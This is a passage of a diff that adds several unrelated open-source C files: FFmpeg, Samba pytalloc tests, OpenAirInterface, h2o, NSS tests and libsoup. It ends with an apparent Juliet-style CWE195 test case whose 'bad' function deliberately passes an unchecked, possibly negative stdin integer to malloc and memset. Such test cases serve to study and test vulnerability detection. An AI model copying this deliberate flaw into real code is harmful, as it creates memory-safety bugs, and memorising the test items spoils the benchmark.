You should have received a copy of the GNU Lesser General Public + * License along with FFmpeg; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#include +#include + +#include "avcodec.h" +#include "libavutil/mem.h" + + +static int noise(AVBitStreamFilterContext *bsfc, AVCodecContext *avctx, const char *args, + uint8_t **poutbuf, int *poutbuf_size, + const uint8_t *buf, int buf_size, int keyframe){ + unsigned int *state= bsfc->priv_data; + int amount= args ? atoi(args) : (*state % 10001+1); + int i; + + if(amount <= 0) + return AVERROR(EINVAL); + + *poutbuf= av_malloc(buf_size + FF_INPUT_BUFFER_PADDING_SIZE); + if (!*poutbuf) + return AVERROR(ENOMEM); + + memcpy(*poutbuf, buf, buf_size + FF_INPUT_BUFFER_PADDING_SIZE); + for(i=0; ibuf; + if (d[0] == 'M' && d[1] == 'P' && d[2] == '+' && (d[3] == 0x17 || d[3] == 0x7)) + return AVPROBE_SCORE_MAX; + return 0; +} + +static int mpc_read_header(AVFormatContext *s, AVFormatParameters *ap) +{ + MPCContext *c = s->priv_data; + AVStream *st; + + if(avio_rl24(s->pb) != MKTAG('M', 'P', '+', 0)){ + av_log(s, AV_LOG_ERROR, "Not a Musepack file\n"); + return -1; + } + c->ver = avio_r8(s->pb); + if(c->ver != 0x07 && c->ver != 0x17){ + av_log(s, AV_LOG_ERROR, "Can demux Musepack SV7, got version %02X\n", c->ver); + return -1; + } + c->fcount = avio_rl32(s->pb); + if((int64_t)c->fcount * sizeof(MPCFrame) >= UINT_MAX){ + av_log(s, AV_LOG_ERROR, "Too many frames, seeking is not possible\n"); + return -1; + } + if(c->fcount){ + c->frames = av_malloc(c->fcount * sizeof(MPCFrame)); + if(!c->frames){ + av_log(s, AV_LOG_ERROR, "Cannot allocate seektable\n"); + return AVERROR(ENOMEM); + } + }else{ + av_log(s, AV_LOG_WARNING, "Container reports no frames\n"); + } + c->curframe = 0; + c->lastframe = -1; + c->curbits = 8; + c->frames_noted = 0; + + st = avformat_new_stream(s, NULL); + if (!st) + return AVERROR(ENOMEM); + st->codec->codec_type = AVMEDIA_TYPE_AUDIO; + st->codec->codec_id = CODEC_ID_MUSEPACK7; + st->codec->channels = 2; + st->codec->bits_per_coded_sample = 16; + + st->codec->extradata_size = 16; + st->codec->extradata = av_mallocz(st->codec->extradata_size+FF_INPUT_BUFFER_PADDING_SIZE); + avio_read(s->pb, st->codec->extradata, 16); + st->codec->sample_rate = mpc_rate[st->codec->extradata[2] & 3]; + avpriv_set_pts_info(st, 32, MPC_FRAMESIZE, st->codec->sample_rate); + /* scan for seekpoints */ + st->start_time = 0; + st->duration = c->fcount; + + /* try to read APE tags */ + if (s->pb->seekable) { + int64_t pos = avio_tell(s->pb); + ff_ape_parse_tag(s); + if (!av_dict_get(s->metadata, "", NULL, AV_DICT_IGNORE_SUFFIX)) + ff_id3v1_read(s); + avio_seek(s->pb, pos, SEEK_SET); + } + + return 0; +} + +static int mpc_read_packet(AVFormatContext *s, AVPacket *pkt) +{ + MPCContext *c = s->priv_data; + int ret, size, size2, curbits, cur = c->curframe; + unsigned tmp; + int64_t pos; + + if (c->curframe >= c->fcount && c->fcount) + return -1; + + if(c->curframe != c->lastframe + 1){ + avio_seek(s->pb, c->frames[c->curframe].pos, SEEK_SET); + c->curbits = c->frames[c->curframe].skip; + } + c->lastframe = c->curframe; + c->curframe++; + curbits = c->curbits; + pos = avio_tell(s->pb); + tmp = avio_rl32(s->pb); + if(curbits <= 12){ + size2 = (tmp >> (12 - curbits)) & 0xFFFFF; + }else{ + size2 = (tmp << (curbits - 12) | avio_rl32(s->pb) >> (44 - curbits)) & 0xFFFFF; + } + curbits += 20; + avio_seek(s->pb, pos, SEEK_SET); + + size = ((size2 + curbits + 31) & ~31) >> 3; + if(cur == c->frames_noted && c->fcount){ + c->frames[cur].pos = pos; + c->frames[cur].size = size; + c->frames[cur].skip = curbits - 20; + av_add_index_entry(s->streams[0], cur, cur, size, 0, AVINDEX_KEYFRAME); + c->frames_noted++; + } + c->curbits = (curbits + size2) & 0x1F; + + if (av_new_packet(pkt, size) < 0) + return AVERROR(EIO); + + pkt->data[0] = curbits; + pkt->data[1] = (c->curframe > c->fcount) && c->fcount; + pkt->data[2] = 0; + pkt->data[3] = 0; + + pkt->stream_index = 0; + pkt->pts = cur; + ret = avio_read(s->pb, pkt->data + 4, size); + if(c->curbits) + avio_seek(s->pb, -4, SEEK_CUR); + if(ret < size){ + av_free_packet(pkt); + return AVERROR(EIO); + } + pkt->size = ret + 4; + + return 0; +} + +static int mpc_read_close(AVFormatContext *s) +{ + MPCContext *c = s->priv_data; + + av_freep(&c->frames); + return 0; +} + +/** + * Seek to the given position + * If position is unknown but is within the limits of file + * then packets are skipped unless desired position is reached + * + * Also this function makes use of the fact that timestamp == frameno + */ +static int mpc_read_seek(AVFormatContext *s, int stream_index, int64_t timestamp, int flags) +{ + AVStream *st = s->streams[stream_index]; + MPCContext *c = s->priv_data; + AVPacket pkt1, *pkt = &pkt1; + int ret; + int index = av_index_search_timestamp(st, timestamp - DELAY_FRAMES, flags); + uint32_t lastframe; + + /* if found, seek there */ + if (index >= 0){ + c->curframe = st->index_entries[index].pos; + return 0; + } + /* if timestamp is out of bounds, return error */ + if(timestamp < 0 || timestamp >= c->fcount) + return -1; + timestamp -= DELAY_FRAMES; + /* seek to the furthest known position and read packets until + we reach desired position */ + lastframe = c->curframe; + if(c->frames_noted) c->curframe = c->frames_noted - 1; + while(c->curframe < timestamp){ + ret = av_read_frame(s, pkt); + if (ret < 0){ + c->curframe = lastframe; + return -1; + } + av_free_packet(pkt); + } + return 0; +} + + +AVInputFormat ff_mpc_demuxer = { + .name = "mpc", + .long_name = NULL_IF_CONFIG_SMALL("Musepack"), + .priv_data_size = sizeof(MPCContext), + .read_probe = mpc_probe, + .read_header = mpc_read_header, + .read_packet = mpc_read_packet, + .read_close = mpc_read_close, + .read_seek = mpc_read_seek, + .extensions = "mpc", +}; diff --git a/pool/shard011/C/0141878_test_pytalloc.c b/pool/shard011/C/0141878_test_pytalloc.c new file mode 100644 index 0000000000000000000000000000000000000000..a7c31c1ad5ead882d0f66832f269cb5e369c5ab8 --- /dev/null +++ b/pool/shard011/C/0141878_test_pytalloc.c @@ -0,0 +1,238 @@ +/* + Samba Unix SMB/CIFS implementation. + + C utilities for the pytalloc test suite. + Provides the "_test_pytalloc" Python module. + + NOTE: Please read talloc_guide.txt for full documentation + + Copyright (C) Petr Viktorin 2015 + + ** NOTE! The following LGPL license applies to the talloc + ** library. This does NOT imply that all of Samba is released + ** under the LGPL + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 3 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, see . +*/ + +#include +#include +#include + +static PyObject *testpytalloc_new(PyTypeObject *mod) +{ + char *obj = talloc_strdup(NULL, "This is a test string");; + return pytalloc_steal(pytalloc_GetObjectType(), obj); +} + +static PyObject *testpytalloc_get_object_type(PyObject *mod) { + PyObject *type = (PyObject *)pytalloc_GetObjectType(); + Py_INCREF(type); + return type; +} + +static PyObject *testpytalloc_base_new(PyTypeObject *mod) +{ + char *obj = talloc_strdup(NULL, "This is a test string for a BaseObject");; + return pytalloc_steal(pytalloc_GetBaseObjectType(), obj); +} + +static PyObject *testpytalloc_base_get_object_type(PyObject *mod) { + PyObject *type = (PyObject *)pytalloc_GetBaseObjectType(); + Py_INCREF(type); + return type; +} + +static PyObject *testpytalloc_reference(PyObject *mod, PyObject *args) { + PyObject *source = NULL; + void *ptr; + + if (!PyArg_ParseTuple(args, "O!", pytalloc_GetObjectType(), &source)) + return NULL; + + ptr = pytalloc_get_ptr(source); + return pytalloc_reference_ex(pytalloc_GetObjectType(), ptr, ptr); +} + +static PyObject *testpytalloc_base_reference(PyObject *mod, PyObject *args) { + PyObject *source = NULL; + void *mem_ctx; + + if (!PyArg_ParseTuple(args, "O!", pytalloc_GetBaseObjectType(), &source)) { + return NULL; + } + mem_ctx = pytalloc_get_mem_ctx(source); + return pytalloc_reference_ex(pytalloc_GetBaseObjectType(), mem_ctx, mem_ctx); +} + +static PyMethodDef test_talloc_methods[] = { + { "new", (PyCFunction)testpytalloc_new, METH_NOARGS, + "create a talloc Object with a testing string"}, + { "get_object_type", (PyCFunction)testpytalloc_get_object_type, METH_NOARGS, + "call pytalloc_GetObjectType"}, + { "base_new", (PyCFunction)testpytalloc_base_new, METH_NOARGS, + "create a talloc BaseObject with a testing string"}, + { "base_get_object_type", (PyCFunction)testpytalloc_base_get_object_type, METH_NOARGS, + "call pytalloc_GetBaseObjectType"}, + { "reference", (PyCFunction)testpytalloc_reference, METH_VARARGS, + "call pytalloc_reference_ex"}, + { "base_reference", (PyCFunction)testpytalloc_base_reference, METH_VARARGS, + "call pytalloc_reference_ex"}, + { NULL } +}; + +static PyTypeObject DObject_Type; + +static int dobject_destructor(void *ptr) +{ + PyObject *destructor_func = *talloc_get_type(ptr, PyObject*); + PyObject *ret; + ret = PyObject_CallObject(destructor_func, NULL); + Py_DECREF(destructor_func); + if (ret == NULL) { + PyErr_Print(); + } else { + Py_DECREF(ret); + } + return 0; +} + +static PyObject *dobject_new(PyTypeObject *type, PyObject *args, PyObject *kwargs) +{ + PyObject *destructor_func = NULL; + PyObject **obj; + + if (!PyArg_ParseTuple(args, "O", &destructor_func)) + return NULL; + Py_INCREF(destructor_func); + + obj = talloc(NULL, PyObject*); + *obj = destructor_func; + + talloc_set_destructor((void*)obj, dobject_destructor); + return pytalloc_steal(&DObject_Type, obj); +} + +static PyTypeObject DObject_Type = { + .tp_name = "_test_pytalloc.DObject", + .tp_basicsize = sizeof(pytalloc_Object), + .tp_methods = NULL, + .tp_new = dobject_new, + .tp_flags = Py_TPFLAGS_DEFAULT, + .tp_doc = "test talloc object that calls a function when underlying data is freed\n", +}; + +static PyTypeObject DBaseObject_Type; + +static int d_base_object_destructor(void *ptr) +{ + PyObject *destructor_func = *talloc_get_type(ptr, PyObject*); + PyObject *ret; + ret = PyObject_CallObject(destructor_func, NULL); + Py_DECREF(destructor_func); + if (ret == NULL) { + PyErr_Print(); + } else { + Py_DECREF(ret); + } + return 0; +} + +static PyObject *d_base_object_new(PyTypeObject *type, PyObject *args, PyObject *kwargs) +{ + PyObject *destructor_func = NULL; + PyObject **obj; + + if (!PyArg_ParseTuple(args, "O", &destructor_func)) + return NULL; + Py_INCREF(destructor_func); + + obj = talloc(NULL, PyObject*); + *obj = destructor_func; + + talloc_set_destructor((void*)obj, d_base_object_destructor); + return pytalloc_steal(&DBaseObject_Type, obj); +} + +static PyTypeObject DBaseObject_Type = { + .tp_name = "_test_pytalloc.DBaseObject", + .tp_methods = NULL, + .tp_new = d_base_object_new, + .tp_flags = Py_TPFLAGS_DEFAULT, + .tp_doc = "test talloc object that calls a function when underlying data is freed\n", +}; + +#define MODULE_DOC PyDoc_STR("Test utility module for pytalloc") + +#if PY_MAJOR_VERSION >= 3 +static struct PyModuleDef moduledef = { + PyModuleDef_HEAD_INIT, + .m_name = "_test_pytalloc", + .m_doc = PyDoc_STR("Test utility module for pytalloc"), + .m_size = -1, + .m_methods = test_talloc_methods, +}; +#endif + +static PyObject *module_init(void); +static PyObject *module_init(void) +{ + PyObject *m; + + DObject_Type.tp_base = pytalloc_GetObjectType(); + if (PyType_Ready(&DObject_Type) < 0) { + return NULL; + } + + DBaseObject_Type.tp_basicsize = pytalloc_BaseObject_size(); + DBaseObject_Type.tp_base = pytalloc_GetBaseObjectType(); + if (PyType_Ready(&DBaseObject_Type) < 0) { + return NULL; + } + +#if PY_MAJOR_VERSION >= 3 + m = PyModule_Create(&moduledef); +#else + m = Py_InitModule3("_test_pytalloc", test_talloc_methods, MODULE_DOC); +#endif + + if (m == NULL) { + return NULL; + } + + Py_INCREF(&DObject_Type); + Py_INCREF(DObject_Type.tp_base); + PyModule_AddObject(m, "DObject", (PyObject *)&DObject_Type); + + Py_INCREF(&DBaseObject_Type); + Py_INCREF(DBaseObject_Type.tp_base); + PyModule_AddObject(m, "DBaseObject", (PyObject *)&DBaseObject_Type); + + return m; +} + + +#if PY_MAJOR_VERSION >= 3 +PyMODINIT_FUNC PyInit__test_pytalloc(void); +PyMODINIT_FUNC PyInit__test_pytalloc(void) +{ + return module_init(); +} +#else +void init_test_pytalloc(void); +void init_test_pytalloc(void) +{ + module_init(); +} +#endif diff --git a/pool/shard011/C/0141879_UplinkNasTransport.c b/pool/shard011/C/0141879_UplinkNasTransport.c new file mode 100644 index 0000000000000000000000000000000000000000..ad1fe82b302453f4d091f22aa97d133e9c73e7a5 --- /dev/null +++ b/pool/shard011/C/0141879_UplinkNasTransport.c @@ -0,0 +1,73 @@ +/******************************************************************************* + OpenAirInterface + Copyright(c) 1999 - 2014 Eurecom + + OpenAirInterface is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + + OpenAirInterface is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with OpenAirInterface.The full GNU General Public License is + included in this distribution in the file called "COPYING". If not, + see . + + Contact Information + OpenAirInterface Admin: openair_admin@eurecom.fr + OpenAirInterface Tech : openair_tech@eurecom.fr + OpenAirInterface Dev : openair4g-devel@eurecom.fr + + Address : Eurecom, Compus SophiaTech 450, route des chappes, 06451 Biot, France. + + *******************************************************************************/ +#include +#include +#include +#include + + +#include "TLVEncoder.h" +#include "TLVDecoder.h" +#include "UplinkNasTransport.h" + +int decode_uplink_nas_transport(uplink_nas_transport_msg *uplink_nas_transport, uint8_t *buffer, uint32_t len) +{ + uint32_t decoded = 0; + int decoded_result = 0; + + // Check if we got a NULL pointer and if buffer length is >= minimum length expected for the message. + CHECK_PDU_POINTER_AND_LENGTH_DECODER(buffer, UPLINK_NAS_TRANSPORT_MINIMUM_LENGTH, len); + + /* Decoding mandatory fields */ + if ((decoded_result = decode_nas_message_container(&uplink_nas_transport->nasmessagecontainer, 0, buffer + decoded, len - decoded)) < 0) + return decoded_result; + else + decoded += decoded_result; + + return decoded; +} + +int encode_uplink_nas_transport(uplink_nas_transport_msg *uplink_nas_transport, uint8_t *buffer, uint32_t len) +{ + int encoded = 0; + int encode_result = 0; + + /* Checking IEI and pointer */ + CHECK_PDU_POINTER_AND_LENGTH_ENCODER(buffer, UPLINK_NAS_TRANSPORT_MINIMUM_LENGTH, len); + + if ((encode_result = + encode_nas_message_container(&uplink_nas_transport->nasmessagecontainer, + 0, buffer + encoded, len - encoded)) < 0) //Return in case of error + return encode_result; + else + encoded += encode_result; + + return encoded; +} + diff --git a/pool/shard011/C/0141880_roundrobin.c b/pool/shard011/C/0141880_roundrobin.c new file mode 100644 index 0000000000000000000000000000000000000000..b5df7ffeb5e7ed9f19ccd1e0f3a6f4f8e421c475 --- /dev/null +++ b/pool/shard011/C/0141880_roundrobin.c @@ -0,0 +1,81 @@ +/* + * Copyright (c) 2017 Justin Zhu + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to + * deal in the Software without restriction, including without limitation the + * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or + * sell copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING + * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS + * IN THE SOFTWARE. + */ +#include "h2o/balancer.h" + +struct round_robin_t { + h2o_balancer_t super; + size_t pos; /* current position */ + size_t consumed_weight; /* remained weight of current position */ + pthread_mutex_t mutex; +}; + +static inline void select_next(struct round_robin_t *self, h2o_socketpool_target_vector_t *targets) +{ + self->pos += 1; + if (self->pos == targets->size) + self->pos = 0; + self->consumed_weight = 0; +} + +static size_t selector(h2o_balancer_t *balancer, h2o_socketpool_target_vector_t *targets, char *tried) +{ + size_t i; + size_t result = 0; + struct round_robin_t *self = (void *)balancer; + + pthread_mutex_lock(&self->mutex); + + assert(targets->size != 0); + for (i = 0; i < targets->size; i++) { + if (!tried[self->pos]) { + /* get the result */ + result = self->pos; + if (++self->consumed_weight > targets->entries[self->pos]->conf.weight_m1) + select_next(self, targets); + pthread_mutex_unlock(&self->mutex); + return result; + } else { + select_next(self, targets); + } + } + h2o_fatal("unreachable"); +} + +static void destroy(h2o_balancer_t *balancer) +{ + struct round_robin_t *self = (void *)balancer; + pthread_mutex_destroy(&self->mutex); + free(self); +} + +h2o_balancer_t *h2o_balancer_create_rr(void) +{ + static const h2o_balancer_callbacks_t rr_callbacks = {selector, destroy}; + + struct round_robin_t *self = h2o_mem_alloc(sizeof(*self)); + pthread_mutex_init(&self->mutex, NULL); + self->super.callbacks = &rr_callbacks; + self->pos = 0; + self->consumed_weight = 0; + + return &self->super; +} diff --git a/pool/shard011/C/0141881_test_crlentry.c b/pool/shard011/C/0141881_test_crlentry.c new file mode 100644 index 0000000000000000000000000000000000000000..30a008b4cf2fc163e90f7689cc4627129b17bb0c --- /dev/null +++ b/pool/shard011/C/0141881_test_crlentry.c @@ -0,0 +1,208 @@ +/* This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ +/* + * test_crlentry.c + * + * Test CRLENTRY Type + * + */ + +#include "testutil.h" +#include "testutil_nss.h" + +static void *plContext = NULL; + +static void +createCRLEntries( + char *dataDir, + char *crlInput, + PKIX_PL_CRL **pCrl, + PKIX_PL_CRLEntry **goodObject, + PKIX_PL_CRLEntry **equalObject, + PKIX_PL_CRLEntry **diffObject) +{ + PKIX_PL_CRL *crl = NULL; + PKIX_PL_BigInt *firstSNBigInt = NULL; + PKIX_PL_BigInt *secondSNBigInt = NULL; + PKIX_PL_String *firstSNString = NULL; + PKIX_PL_String *secondSNString = NULL; + char *firstSNAscii = "010932"; + char *secondSNAscii = "3039"; + + PKIX_TEST_STD_VARS(); + + subTest("PKIX_PL_CRL_Create "); + crl = createCRL(dataDir, crlInput, plContext); + + subTest("PKIX_PL_CRL_GetCRLEntryForSerialNumber"); + PKIX_TEST_EXPECT_NO_ERROR(PKIX_PL_String_Create( + PKIX_ESCASCII, + firstSNAscii, + PL_strlen(firstSNAscii), + &firstSNString, + plContext)); + + PKIX_TEST_EXPECT_NO_ERROR(PKIX_PL_BigInt_Create( + firstSNString, + &firstSNBigInt, + plContext)); + + PKIX_TEST_EXPECT_NO_ERROR(PKIX_PL_CRL_GetCRLEntryForSerialNumber( + crl, firstSNBigInt, goodObject, plContext)); + + PKIX_TEST_EXPECT_NO_ERROR(PKIX_PL_CRL_GetCRLEntryForSerialNumber( + crl, firstSNBigInt, equalObject, plContext)); + + PKIX_TEST_EXPECT_NO_ERROR(PKIX_PL_String_Create( + PKIX_ESCASCII, + secondSNAscii, + PL_strlen(secondSNAscii), + &secondSNString, + plContext)); + + PKIX_TEST_EXPECT_NO_ERROR(PKIX_PL_BigInt_Create( + secondSNString, + &secondSNBigInt, + plContext)); + + PKIX_TEST_EXPECT_NO_ERROR(PKIX_PL_CRL_GetCRLEntryForSerialNumber( + crl, secondSNBigInt, diffObject, plContext)); + + *pCrl = crl; + +cleanup: + PKIX_TEST_DECREF_AC(firstSNBigInt); + PKIX_TEST_DECREF_AC(secondSNBigInt); + PKIX_TEST_DECREF_AC(firstSNString); + PKIX_TEST_DECREF_AC(secondSNString); + PKIX_TEST_RETURN(); +} + +static void +testGetReasonCode( + PKIX_PL_CRLEntry *goodObject) +{ + PKIX_Int32 reasonCode = 0; + PKIX_Int32 expectedReasonCode = 260; + + PKIX_TEST_STD_VARS(); + + subTest("PKIX_PL_CRLEntry_GetCRLEntryReasonCode"); + + PKIX_TEST_EXPECT_NO_ERROR(PKIX_PL_CRLEntry_GetCRLEntryReasonCode( + goodObject, &reasonCode, plContext)); + + if (reasonCode != expectedReasonCode) { + testError("unexpected value of CRL Entry Reason Code"); + (void)printf("Actual value:\t%d\n", reasonCode); + (void)printf("Expected value:\t%d\n", expectedReasonCode); + goto cleanup; + } + +cleanup: + PKIX_TEST_RETURN(); +} + +static void +testCritExtensionsAbsent(PKIX_PL_CRLEntry *crlEntry) +{ + PKIX_List *oidList = NULL; + PKIX_UInt32 numOids = 0; + + PKIX_TEST_STD_VARS(); + + PKIX_TEST_EXPECT_NO_ERROR(PKIX_PL_CRLEntry_GetCriticalExtensionOIDs(crlEntry, &oidList, plContext)); + + PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_GetLength(oidList, &numOids, plContext)); + if (numOids != 0) { + pkixTestErrorMsg = "unexpected mismatch"; + } + +cleanup: + + PKIX_TEST_DECREF_AC(oidList); + + PKIX_TEST_RETURN(); +} + +static void +testGetCriticalExtensionOIDs(PKIX_PL_CRLEntry *goodObject) +{ + subTest("PKIX_PL_CRL_GetCriticalExtensionOIDs " + ""); + testCritExtensionsAbsent(goodObject); +} + +static void +printUsage(void) +{ + (void)printf("\nUSAGE:\ttest_crlentry \n\n"); +} + +/* Functional tests for CRLENTRY public functions */ + +int +test_crlentry(int argc, char *argv[]) +{ + PKIX_PL_CRL *crl = NULL; + PKIX_PL_CRLEntry *goodObject = NULL; + PKIX_PL_CRLEntry *equalObject = NULL; + PKIX_PL_CRLEntry *diffObject = NULL; + PKIX_UInt32 actualMinorVersion; + PKIX_UInt32 j = 0; + + char *dataDir = NULL; + char *goodInput = "crlgood.crl"; + char *expectedAscii = + "\n\t[\n" + "\tSerialNumber: 010932\n" + "\tReasonCode: 260\n" + "\tRevocationDate: Fri Jan 07 15:09:10 2005\n" + "\tCritExtOIDs: (EMPTY)\n" + "\t]\n\t"; + + /* Note XXX serialnumber and reasoncode need debug */ + + PKIX_TEST_STD_VARS(); + + startTests("CRLEntry"); + + PKIX_TEST_EXPECT_NO_ERROR( + PKIX_PL_NssContext_Create(0, PKIX_FALSE, NULL, &plContext)); + + if (argc < 1 + j) { + printUsage(); + return (0); + } + + dataDir = argv[1 + j]; + + createCRLEntries(dataDir, goodInput, &crl, &goodObject, &equalObject, &diffObject); + + PKIX_TEST_EQ_HASH_TOSTR_DUP(goodObject, + equalObject, + diffObject, + NULL, /* expectedAscii, */ + CRLENTRY, + PKIX_TRUE); + + testGetReasonCode(goodObject); + + testGetCriticalExtensionOIDs(goodObject); + +cleanup: + + PKIX_TEST_DECREF_AC(crl); + PKIX_TEST_DECREF_AC(goodObject); + PKIX_TEST_DECREF_AC(equalObject); + PKIX_TEST_DECREF_AC(diffObject); + + PKIX_Shutdown(plContext); + + PKIX_TEST_RETURN(); + + endTests("CRLEntry"); + + return (0); +} diff --git a/pool/shard011/C/0141882_soup-session-sync.c b/pool/shard011/C/0141882_soup-session-sync.c new file mode 100644 index 0000000000000000000000000000000000000000..42e50787bb4a06035d7dcdbe5ee4b2f6d303cc16 --- /dev/null +++ b/pool/shard011/C/0141882_soup-session-sync.c @@ -0,0 +1,133 @@ +/* -*- Mode: C; tab-width: 8; indent-tabs-mode: t; c-basic-offset: 8 -*- */ +/* + * soup-session-sync.c + * + * Copyright (C) 2000-2003, Ximian, Inc. + */ + +#ifdef HAVE_CONFIG_H +#include +#endif + +#include "soup-session-sync.h" +#include "soup.h" +#include "soup-session-private.h" +#include "soup-message-private.h" +#include "soup-message-queue.h" + +/** + * SECTION:soup-session-sync + * @short_description: (Deprecated) SoupSession for blocking I/O in + * multithreaded programs. + * + * #SoupSessionSync is an implementation of #SoupSession that uses + * synchronous I/O, intended for use in multi-threaded programs. + * + * As of libsoup 2.42, this is deprecated in favor of the plain + * #SoupSession class (which uses both asynchronous and synchronous + * I/O, depending on the API used). See the porting guide. + **/ + +G_GNUC_BEGIN_IGNORE_DEPRECATIONS; + +G_DEFINE_TYPE (SoupSessionSync, soup_session_sync, SOUP_TYPE_SESSION) + +static void +soup_session_sync_init (SoupSessionSync *ss) +{ +} + +/** + * soup_session_sync_new: + * + * Creates an synchronous #SoupSession with the default options. + * + * Return value: the new session. + * + * Deprecated: #SoupSessionSync is deprecated; use a plain + * #SoupSession, created with soup_session_new(). See the porting guide. + **/ +SoupSession * +soup_session_sync_new (void) +{ + return g_object_new (SOUP_TYPE_SESSION_SYNC, NULL); +} + +/** + * soup_session_sync_new_with_options: + * @optname1: name of first property to set + * @...: value of @optname1, followed by additional property/value pairs + * + * Creates an synchronous #SoupSession with the specified options. + * + * Return value: the new session. + * + * Deprecated: #SoupSessionSync is deprecated; use a plain + * #SoupSession, created with soup_session_new_with_options(). See the + * porting guide. + **/ +SoupSession * +soup_session_sync_new_with_options (const char *optname1, ...) +{ + SoupSession *session; + va_list ap; + + va_start (ap, optname1); + session = (SoupSession *)g_object_new_valist (SOUP_TYPE_SESSION_SYNC, + optname1, ap); + va_end (ap); + + return session; +} + +static gboolean +queue_message_callback (gpointer data) +{ + SoupMessageQueueItem *item = data; + + item->callback (item->session, item->msg, item->callback_data); + soup_message_queue_item_unref (item); + return FALSE; +} + +static gpointer +queue_message_thread (gpointer data) +{ + SoupMessageQueueItem *item = data; + + soup_session_process_queue_item (item->session, item, NULL, TRUE); + if (item->callback) { + soup_add_completion (soup_session_get_async_context (item->session), + queue_message_callback, item); + } else + soup_message_queue_item_unref (item); + + return NULL; +} + +static void +soup_session_sync_queue_message (SoupSession *session, SoupMessage *msg, + SoupSessionCallback callback, gpointer user_data) +{ + SoupMessageQueueItem *item; + GThread *thread; + + item = soup_session_append_queue_item (session, msg, FALSE, FALSE, + callback, user_data); + thread = g_thread_new ("SoupSessionSync:queue_message", + queue_message_thread, item); + g_thread_unref (thread); +} + +static void +soup_session_sync_class_init (SoupSessionSyncClass *session_sync_class) +{ + SoupSessionClass *session_class = SOUP_SESSION_CLASS (session_sync_class); + + /* virtual method override */ + session_class->queue_message = soup_session_sync_queue_message; +} + +G_GNUC_END_IGNORE_DEPRECATIONS; diff --git a/pool/shard011/C/0141883_CWE195_Signed_to_Unsigned_Conversion_Error__fgets_malloc_11.c b/pool/shard011/C/0141883_CWE195_Signed_to_Unsigned_Conversion_Error__fgets_malloc_11.c new file mode 100644 index 0000000000000000000000000000000000000000..04d2d775b4c75505adcf978612f0c47bab8e82d3 --- /dev/null +++ b/pool/shard011/C/0141883_CWE195_Signed_to_Unsigned_Conversion_Error__fgets_malloc_11.c @@ -0,0 +1,153 @@ +/* TEMPLATE GENERATED TESTCASE FILE +Filename: CWE195_Signed_to_Unsigned_Conversion_Error__fgets_malloc_11.c +Label Definition File: CWE195_Signed_to_Unsigned_Conversion_Error.label.xml +Template File: sources-sink-11.tmpl.c +*/ +/* + * @description + * CWE: 195 Signed to Unsigned Conversion Error + * BadSource: fgets Read data from the console using fgets() + * GoodSource: Positive integer + * Sink: malloc + * BadSink : Allocate memory using malloc() with the size of data + * Flow Variant: 11 Control flow: if(globalReturnsTrue()) and if(globalReturnsFalse()) + * + * */ + +#include "std_testcase.h" + +#define CHAR_ARRAY_SIZE (3 * sizeof(data) + 2) + +#ifndef OMITBAD + +void CWE195_Signed_to_Unsigned_Conversion_Error__fgets_malloc_11_bad() +{ + int data; + /* Initialize data */ + data = -1; + if(globalReturnsTrue()) + { + { + char inputBuffer[CHAR_ARRAY_SIZE] = ""; + /* POTENTIAL FLAW: Read data from the console using fgets() */ + if (fgets(inputBuffer, CHAR_ARRAY_SIZE, stdin) != NULL) + { + /* Convert to int */ + data = atoi(inputBuffer); + } + else + { + printLine("fgets() failed."); + } + } + } + /* Assume we want to allocate a relatively small buffer */ + if (data < 100) + { + /* POTENTIAL FLAW: malloc() takes a size_t (unsigned int) as input and therefore if it is negative, + * the conversion will cause malloc() to allocate a very large amount of data or fail */ + char * dataBuffer = (char *)malloc(data); + if (dataBuffer == NULL) {exit(-1);} + /* Do something with dataBuffer */ + memset(dataBuffer, 'A', data-1); + dataBuffer[data-1] = '\0'; + printLine(dataBuffer); + free(dataBuffer); + } +} + +#endif /* OMITBAD */ + +#ifndef OMITGOOD + +/* goodG2B1() - use goodsource and badsink by changing the globalReturnsTrue() to globalReturnsFalse() */ +static void goodG2B1() +{ + int data; + /* Initialize data */ + data = -1; + if(globalReturnsFalse()) + { + /* INCIDENTAL: CWE 561 Dead Code, the code below will never run */ + printLine("Benign, fixed string"); + } + else + { + /* FIX: Use a positive integer less than &InitialDataSize&*/ + data = 100-1; + } + /* Assume we want to allocate a relatively small buffer */ + if (data < 100) + { + /* POTENTIAL FLAW: malloc() takes a size_t (unsigned int) as input and therefore if it is negative, + * the conversion will cause malloc() to allocate a very large amount of data or fail */ + char * dataBuffer = (char *)malloc(data); + if (dataBuffer == NULL) {exit(-1);} + /* Do something with dataBuffer */ + memset(dataBuffer, 'A', data-1); + dataBuffer[data-1] = '\0'; + printLine(dataBuffer); + free(dataBuffer); + } +} + +/* goodG2B2() - use goodsource and badsink 